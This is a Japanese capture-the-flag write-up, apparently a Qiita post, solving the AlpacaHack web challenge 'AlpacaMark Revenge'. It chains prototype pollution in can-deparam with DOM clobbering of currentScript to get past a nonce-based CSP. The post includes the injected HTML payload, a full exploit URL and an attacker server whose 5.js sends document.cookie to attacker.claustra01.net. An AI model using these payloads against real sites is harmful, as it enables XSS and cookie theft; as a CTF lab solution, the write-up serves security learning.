0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

[web] AlpacaMark Revenge (AlpacaHack) writeup

0
Last updated at Posted at 2025-12-03

  • Source: AlpacaHack
  • Author: Ark

AlpacaMarkのrevenge版。AlpacaMarkの解き方は知っている前提で書いていく。

ソースコードを見ると、<script>が封じられている。

import express from "express";
import crypto from "node:crypto";

const DEFAULT_MARKDOWN = `
### Hi there :alpaca:

- alpaca
- giraffe
- camel

\`\`\`javascript
const emojis = ["🦙", "🦒", "🐫"];
alert(emojis[Math.random() * emojis.length | 0]);
\`\`\`

<center>Powered by AlpacaMark</center>
`.trimStart();

const app = express();

app
  .use(express.static("dist"))
  .set("view engine", "ejs")
  .set("views", "server/views");

app.get("/", (req, res) => {
  const nonce = crypto.randomBytes(16).toString("base64");
  res.setHeader(
    "Content-Security-Policy",
    `script-src 'strict-dynamic' 'nonce-${nonce}'; default-src 'self'; base-uri 'none'`
  );

  const markdown = req.query.markdown?.slice(0, 512) ?? DEFAULT_MARKDOWN;
  if (/<script/i.test(markdown)) {
    return res.status(400).send(":(");
  }

  res.render("index", {
    nonce,
    markdown,
  });
});

app.listen(3000);

つまり、scriptタグを使わずにcurrentScript.srcgetElementsByTagName("script")[-1].srcを任意の値にすることができればAlpacaMarkと同じ流れで解ける。

ここでpackage.jsonを見ると、can-deparamのv1.2.3を使用しており、これにはprototype pollutionの脆弱性がある。ソースコードを読むと、keyの値に制約がないため__proto__[polluted]=1のようなクエリパラメータを渡すことでprototype pollutionができそうだ。

これを用いてcurrentScript.tagNamecurrentScript.srcの値を操作、つまりこのprototype pollutionが反映されるまで待ってからrspackのmain.jsを実行させたい。以下のようなHTMLを挿入すれば良いように思えるが、これでは5.jsが置き換わらない。

</textarea>
<iframe name=currentScript src="/?__proto__[tagName]=SCRIPT&__proto__[src]=https://attacker.claustra01.net/"></iframe>

理由が二つあり、一つはこのアプリにおいて初回アクセス時のみURLをパースしてmarkdownの内容をlocalstorageに保存し、二回目以降はパースせず既にlocalstorageに保存されている値を取得している。iframeタグを挿入した場合、ページそのもののアクセスとiframeとしてのアクセスがあるが、後者でprototype pollutionを実行しようとしても既にlocalstorageにmarkdownが保存されているためクエリのパースが行われない。
そしてもう一つは、単純にprototype pollutionが完了する前に(defer付きで読み込まれているとはいえ)HTMLのパースが完了してmain.jsが実行されている。

これらの問題に対しては、まずiframeのcredentialless属性を用いることで別のコンテキストとして扱い、localstorageなどの値を引き継がないようにすることができる。これでcurrentScriptのプロパティを任意の値に設定することができた。
続いてmain.jsの実行を遅らせるため、大量のレンダリングを行う。これは適当なCSSをインポートさせれば良い。

以上全てのテクニックを取り入れたHTMLを挿入すると、https://attacker.claustra01.net/5.jsにアクセスが飛んでいることが確認できた。

</textarea>
<iframe name=currentScript src="/?__proto__[tagName]=SCRIPT&__proto__[src]=https://attacker.claustra01.net/" credentialless>
</iframe>
<link rel=stylesheet href=/0>
<link rel=stylesheet href=/1>
<link rel=stylesheet href=/2>
<link rel=stylesheet href=/3>
<link rel=stylesheet href=/4>
<link rel=stylesheet href=/5>
<link rel=stylesheet href=/6>
<link rel=stylesheet href=/7>
<link rel=stylesheet href=/8>
<link rel=stylesheet href=/9>

あとはAlpacaMarkと同じように5.jsをホストし、botに報告すれば良い。

const express = require('express');

// logger
function accessLogger(req, res, next) {
  const start = Date.now();
  res.on('finish', () => {
    const duration = Date.now() - start;
    console.log(`${req.method} ${req.originalUrl} ${res.statusCode}`);
  });
  next();
}

const app = express();
app.use(accessLogger);

// 5.js
app.get('/5.js', (req, res) => {
  res.send(`location = "https://attacker.claustra01.net/flag?" + document.cookie`);
});

const port = process.env.PORT || 50000;
app.listen(port, () => {
  console.log(`Server is running on http://localhost:${port}`);
});
http://alpaca-mark:3000/?markdown=<%2Ftextarea>%0D%0A<iframe+name%3DcurrentScript+src%3D"%2F%3F__proto__%5BtagName%5D%3DSCRIPT%26__proto__%5Bsrc%5D%3Dhttps%3A%2F%2Fattacker.claustra01.net%2F"+credentialless>%0D%0A<%2Fiframe>%0D%0A<link+rel%3Dstylesheet+href%3D%2F0>%0D%0A<link+rel%3Dstylesheet+href%3D%2F1>%0D%0A<link+rel%3Dstylesheet+href%3D%2F2>%0D%0A<link+rel%3Dstylesheet+href%3D%2F3>%0D%0A<link+rel%3Dstylesheet+href%3D%2F4>%0D%0A<link+rel%3Dstylesheet+href%3D%2F5>%0D%0A<link+rel%3Dstylesheet+href%3D%2F6>%0D%0A<link+rel%3Dstylesheet+href%3D%2F7>%0D%0A<link+rel%3Dstylesheet+href%3D%2F8>%0D%0A<link+rel%3Dstylesheet+href%3D%2F9>

flagが得られた。
Alpaca{DOM_Cl0bb3ring_wi7h_PP_Assistanc3}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?